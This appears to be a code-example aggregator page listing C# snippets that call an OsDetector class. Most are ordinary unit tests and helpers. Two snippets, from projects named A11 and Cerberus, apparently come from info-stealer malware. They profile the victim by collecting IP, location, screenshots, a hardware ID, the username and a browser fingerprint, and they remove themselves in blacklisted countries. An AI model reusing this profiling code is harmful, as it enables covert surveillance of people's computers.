コード例 #1
0
        public void EnvVarSearch_FindInPath_NotFound()
        {
            Dictionary <string, string> setup = new Dictionary <string, string>();

            OsDetector.OsSelection os = OsDetector.DetectOs();
            bool isFound = false;

            if (os == OsDetector.OsSelection.Unix)
            {
                setup.Add("PATH", "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
                EnvVarSearch search = new EnvVarSearch(setup);
                isFound = search.IsPathInEnv("/home/test/folder");
            }
            else if (os == OsDetector.OsSelection.Windows)
            {
                setup.Add("path", @"C:\Windows\system32;C:\Windows");
                EnvVarSearch search = new EnvVarSearch(setup);
                isFound = search.IsPathInEnv(@"C:\home\test\folder");
            }
            else
            {
                Assert.Fail("Bad platform");
            }
            Assert.IsFalse(isFound, "The path should not have been found");
        }
コード例 #2
0
        public void EnvVarSearch_FindInPath_NotFound_Folder()
        {
            Dictionary <string, string> setup = new Dictionary <string, string>();

            OsDetector.OsSelection os = OsDetector.DetectOs();
            string retval             = null;

            if (os == OsDetector.OsSelection.Unix)
            {
                setup.Add("PATH", "/usr/local/bin:/usr/bin");
                EnvVarSearch search = new EnvVarSearch(setup);
                retval = search.FindInPath(@"FooBarSomethingFolder/");
            }
            else if (os == OsDetector.OsSelection.Windows)
            {
                setup.Add("path", @"C:\Windows\system32;C:\Windows");
                EnvVarSearch search = new EnvVarSearch(setup);
                retval = search.FindInPath(@"FooBarSomethingFolder/");
            }
            else
            {
                Assert.Fail("Bad platform");
            }
            Assert.IsNull(retval, "The path should not have been found");
        }
コード例 #3
0
        public void EnvVarSearch_FindInPath_MultipleResult()
        {
            Dictionary <string, string> setup = new Dictionary <string, string>();

            OsDetector.OsSelection os = OsDetector.DetectOs();
            string retval             = null;
            string baseDir            = AppDomain.CurrentDomain.BaseDirectory;

            if (os == OsDetector.OsSelection.Unix)
            {
                // TestData folder before base dir
                setup.Add("PATH", "/usr/local/bin:/usr/bin:" + folder_testdata + ":" + baseDir);
                EnvVarSearch search = new EnvVarSearch(setup);
                retval = search.FindInPath("EnvVarSearch_File.txt");
            }
            else if (os == OsDetector.OsSelection.Windows)
            {
                setup.Add("path", @"C:\Windows\system32;C:\Windows;" + folder_testdata + ";" + baseDir);
                EnvVarSearch search = new EnvVarSearch(setup);
                retval = search.FindInPath("EnvVarSearch_File.txt");
            }
            else
            {
                Assert.Fail("Bad platform");
            }
            Assert.NotNull(retval, "The path should have been found");
            Assert.AreEqual(Path.Combine(folder_testdata, "EnvVarSearch_File.txt"), retval, "The path found should be the TestData foldfer");
        }
コード例 #4
0
        public void EnvVarSearch_FindInPath_Valid_Folder()
        {
            Dictionary <string, string> setup = new Dictionary <string, string>();

            OsDetector.OsSelection os = OsDetector.DetectOs();
            string retval             = null;

            if (os == OsDetector.OsSelection.Unix)
            {
                setup.Add("PATH", "/usr/local/bin:/usr/bin:" + AppDomain.CurrentDomain.BaseDirectory);
                EnvVarSearch search = new EnvVarSearch(setup);
                retval = search.FindInPath(@"TestData/");
            }
            else if (os == OsDetector.OsSelection.Windows)
            {
                setup.Add("path", @"C:\Windows\system32;C:\Windows;" + AppDomain.CurrentDomain.BaseDirectory);
                EnvVarSearch search = new EnvVarSearch(setup);
                retval = search.FindInPath(@"TestData\");
            }
            else
            {
                Assert.Fail("Bad platform");
            }
            Assert.NotNull(retval, "The path should have been found");
        }
コード例 #5
0
 public void OsD_SetOs_Win32()
 {
     OsDetector.SetOS(testOsWin32);
     OsDetector.OsSelection selectedOS = OsDetector.DetectOs();
     Assert.AreEqual(selectedOS, OsDetector.OsSelection.Windows, "OS detected is not as expected");
     Assert.AreEqual(OsDetector.currentOs, OsDetector.OsSelection.Windows);
 }
コード例 #6
0
 public void OsD_SetOs_Mac()
 {
     OsDetector.SetOS(testOsMac);
     OsDetector.OsSelection selectedOS = OsDetector.DetectOs();
     Assert.AreEqual(selectedOS, OsDetector.OsSelection.Mac, "OS detected is not as expected");
     Assert.AreEqual(OsDetector.currentOs, OsDetector.OsSelection.Mac);
 }
コード例 #7
0
ファイル: UserLog.cs プロジェクト: ahmedmourad/A11
        public static UserLog Create(ClientSettings settings)
        {
            UserLog userLog = new UserLog();

            try
            {
                GeoInfo        geoInfo            = GeoHelper.Get();
                IList <string> blacklistedCountry = settings.BlacklistedCountry;
                if (blacklistedCountry != null && blacklistedCountry.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country))
                {
                    InstallManager.RemoveCurrent();
                }
                WmiDiskDrive wmiDiskDrive = new WmiService().QueryFirst <WmiDiskDrive>(new WmiDiskDriveQuery());
                Size         size         = Screen.PrimaryScreen.Bounds.Size;
                string       text         = System.TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString();
                if (!text.StartsWith("-"))
                {
                    text = "+" + text;
                }
                userLog.IP         = geoInfo.IP;
                userLog.Location   = geoInfo.Location;
                userLog.Country    = geoInfo.Country;
                userLog.Screenshot = CaptureScreen();
                userLog.UserAgent  = UserAgentDetector.GetUserAgent();
                IList <string> blacklistedCountry2 = settings.BlacklistedCountry;
                if (blacklistedCountry2 != null && blacklistedCountry2.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country))
                {
                    InstallManager.RemoveCurrent();
                }
                userLog.HWID              = DecryptHelper.GetMd5Hash(Environment.UserDomainName + Environment.UserName + wmiDiskDrive.SerialNumber).Replace("-", string.Empty);
                userLog.CurrentLanguage   = InputLanguage.CurrentInputLanguage.Culture.EnglishName;
                userLog.TimeZone          = "UTC" + text;
                userLog.MonitorSize       = $"{size.Width}x{size.Height}";
                userLog.IsProcessElevated = NativeMethods.IsUserAnAdmin();
                userLog.UacType           = UacHelper.AdminPromptBehavior;
                userLog.OS       = OsDetector.GetWindowsVersion();
                userLog.Username = Environment.UserName;
                return(userLog);
            }
            catch
            {
                return(userLog);
            }
            finally
            {
                userLog.HWID            = (string.IsNullOrWhiteSpace(userLog.HWID) ? "UNKNOWN" : userLog.HWID);
                userLog.IP              = (string.IsNullOrWhiteSpace(userLog.IP) ? "UNKNOWN" : userLog.IP);
                userLog.MonitorSize     = (string.IsNullOrWhiteSpace(userLog.MonitorSize) ? "UNKNOWN" : userLog.MonitorSize);
                userLog.OS              = (string.IsNullOrWhiteSpace(userLog.OS) ? "UNKNOWN" : userLog.OS);
                userLog.TimeZone        = (string.IsNullOrWhiteSpace(userLog.TimeZone) ? "UNKNOWN" : userLog.TimeZone);
                userLog.Username        = (string.IsNullOrWhiteSpace(userLog.Username) ? "UNKNOWN" : userLog.Username);
                userLog.Location        = (string.IsNullOrWhiteSpace(userLog.Location) ? "UNKNOWN" : userLog.Location);
                userLog.Country         = (string.IsNullOrWhiteSpace(userLog.Country) ? "UNKNOWN" : userLog.Country);
                userLog.CurrentLanguage = (string.IsNullOrWhiteSpace(userLog.CurrentLanguage) ? "UNKNOWN" : userLog.CurrentLanguage);
                userLog.UserAgent       = (string.IsNullOrWhiteSpace(userLog.UserAgent) ? "UNKNOWN" : userLog.UserAgent);
            }
        }
コード例 #8
0
ファイル: Startup.cs プロジェクト: mikedamay/noter
        private string GetConnetionString(string prefix)
        {
            var osNames = new Dictionary <Os, string>
            {
                { Os.Linux, "Linux" }
                , { Os.MacOS, "MacOs" }
                , { Os.Windows, "Windows" }
            };
            Os os = new OsDetector().DetectOs();

            Assert(osNames.ContainsKey(os));
            return(Configuration.GetConnectionString($"{osNames[os]}-{prefix}Connection"));
            // e.g. ...GetconnectionString("Linux-NoteConnedtion");
        }
コード例 #9
0
        public virtual Host Build()
        {
            _coordinator = new ServiceCoordinator(new PoolFiber(),
                                                  ExecutePreStartActions,
                                                  ExecutePostStartActions,
                                                  ExecutePostStopActions,
                                                  _timeout);

            _serviceBuilders.Each(x => { _coordinator.CreateService(x.Name, x.Build); });

            //TODO: feels like it should be a builder
            var osCommands = OsDetector.DetectOs();


            return(CreateHost(_coordinator, osCommands));
        }
コード例 #10
0
ファイル: CmdRunnerTest.cs プロジェクト: rl132/RLToolkit
 public override void DataPrepare()
 {
     OsDetector.OsSelection os = OsDetector.DetectOs();
     if (os == OsDetector.OsSelection.Unix)
     {
         runnerFile = "mono";
         runnerArgs = "DummyRunner-Linux.exe ";
         AddInputFile(Path.Combine(folder_testdata, "DummyRunner-Linux.exe"), true, false);
     }
     else if (os == OsDetector.OsSelection.Windows)
     {
         runnerFile = "DummyRunner-Windows.exe";
         runnerArgs = "";
         AddInputFile(Path.Combine(folder_testdata, "DummyRunner-Windows.exe"), true, false);
     }
     else
     {
         // do nothing, unsuported
     }
 }
コード例 #11
0
ファイル: UserLogHelper.cs プロジェクト: zha0/Cerberus
        // Token: 0x060000AB RID: 171 RVA: 0x00003698 File Offset: 0x00001898
        public static UserLog Create(ClientSettings settings)
        {
            UserLog result = default(UserLog);

            try
            {
                GeoInfo geoInfo = GeoHelper.Get();
                geoInfo.IP         = (string.IsNullOrWhiteSpace(geoInfo.IP) ? "UNKNOWN" : geoInfo.IP);
                geoInfo.Location   = (string.IsNullOrWhiteSpace(geoInfo.Location) ? "UNKNOWN" : geoInfo.Location);
                geoInfo.Country    = (string.IsNullOrWhiteSpace(geoInfo.Country) ? "UNKNOWN" : geoInfo.Country);
                geoInfo.PostalCode = (string.IsNullOrWhiteSpace(geoInfo.PostalCode) ? "UNKNOWN" : geoInfo.PostalCode);
                IList <string> blacklistedCountry = settings.BlacklistedCountry;
                if (blacklistedCountry != null && blacklistedCountry.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country))
                {
                    InstallManager.RemoveCurrent();
                }
                IList <string> blacklistedIP = settings.BlacklistedIP;
                if (blacklistedIP != null && blacklistedIP.Count > 0 && settings.BlacklistedIP.Contains(geoInfo.IP))
                {
                    InstallManager.RemoveCurrent();
                }
                WmiDiskDrive wmiDiskDrive = null;
                try
                {
                    wmiDiskDrive = new WmiService().QueryFirst <WmiDiskDrive>(new WmiDiskDriveQuery());
                }
                catch (Exception)
                {
                }
                result.HWID = DecryptHelper.GetMd5Hash(Environment.UserDomainName + Environment.UserName + ((wmiDiskDrive != null) ? wmiDiskDrive.SerialNumber : null)).Replace("-", string.Empty);
                string text = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString();
                if (!text.StartsWith("-"))
                {
                    text = "+" + text;
                }
                result.IP         = geoInfo.IP;
                result.Location   = geoInfo.Location;
                result.Country    = geoInfo.Country;
                result.PostalCode = geoInfo.PostalCode;
                if (settings.GrabScreenshot)
                {
                    result.Screenshot = UserLogHelper.CaptureScreen();
                }
                if (settings.GrabUserAgent)
                {
                    result.FingerPrint = UserAgentDetector.GetFingerPrint();
                }
                else
                {
                    result.FingerPrint = new FingerPrint
                    {
                        Plugins            = "UNKNOWN",
                        UserAgent          = "UNKNOWN",
                        WebBaseGlRenderer  = "UNKNOWN",
                        WebBaseGlVendor    = "UNKNOWN",
                        WebBaseGlVersion   = "UNKNOWN",
                        WebDebugGlRenderer = "UNKNOWN",
                        WebDebugGlVendor   = "UNKNOWN"
                    };
                }
                result.CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName;
                result.TimeZone        = "UTC" + text;
                Size size = Screen.PrimaryScreen.Bounds.Size;
                result.MonitorSize       = string.Format("{0}x{1}", size.Width, size.Height);
                result.IsProcessElevated = false;
                result.OS       = OsDetector.GetWindowsVersion();
                result.Username = Environment.UserName;
            }
            catch (Exception)
            {
            }
            finally
            {
                result.HWID            = (string.IsNullOrWhiteSpace(result.HWID) ? "UNKNOWN" : result.HWID);
                result.MonitorSize     = (string.IsNullOrWhiteSpace(result.MonitorSize) ? "UNKNOWN" : result.MonitorSize);
                result.OS              = (string.IsNullOrWhiteSpace(result.OS) ? "UNKNOWN" : result.OS);
                result.TimeZone        = (string.IsNullOrWhiteSpace(result.TimeZone) ? "UNKNOWN" : result.TimeZone);
                result.Username        = (string.IsNullOrWhiteSpace(result.Username) ? "UNKNOWN" : result.Username);
                result.IP              = (string.IsNullOrWhiteSpace(result.IP) ? "UNKNOWN" : result.IP);
                result.PostalCode      = (string.IsNullOrWhiteSpace(result.PostalCode) ? "UNKNOWN" : result.PostalCode);
                result.Location        = (string.IsNullOrWhiteSpace(result.Location) ? "UNKNOWN" : result.Location);
                result.Country         = (string.IsNullOrWhiteSpace(result.Country) ? "UNKNOWN" : result.Country);
                result.CurrentLanguage = (string.IsNullOrWhiteSpace(result.CurrentLanguage) ? "UNKNOWN" : result.CurrentLanguage);
            }
            return(result);
        }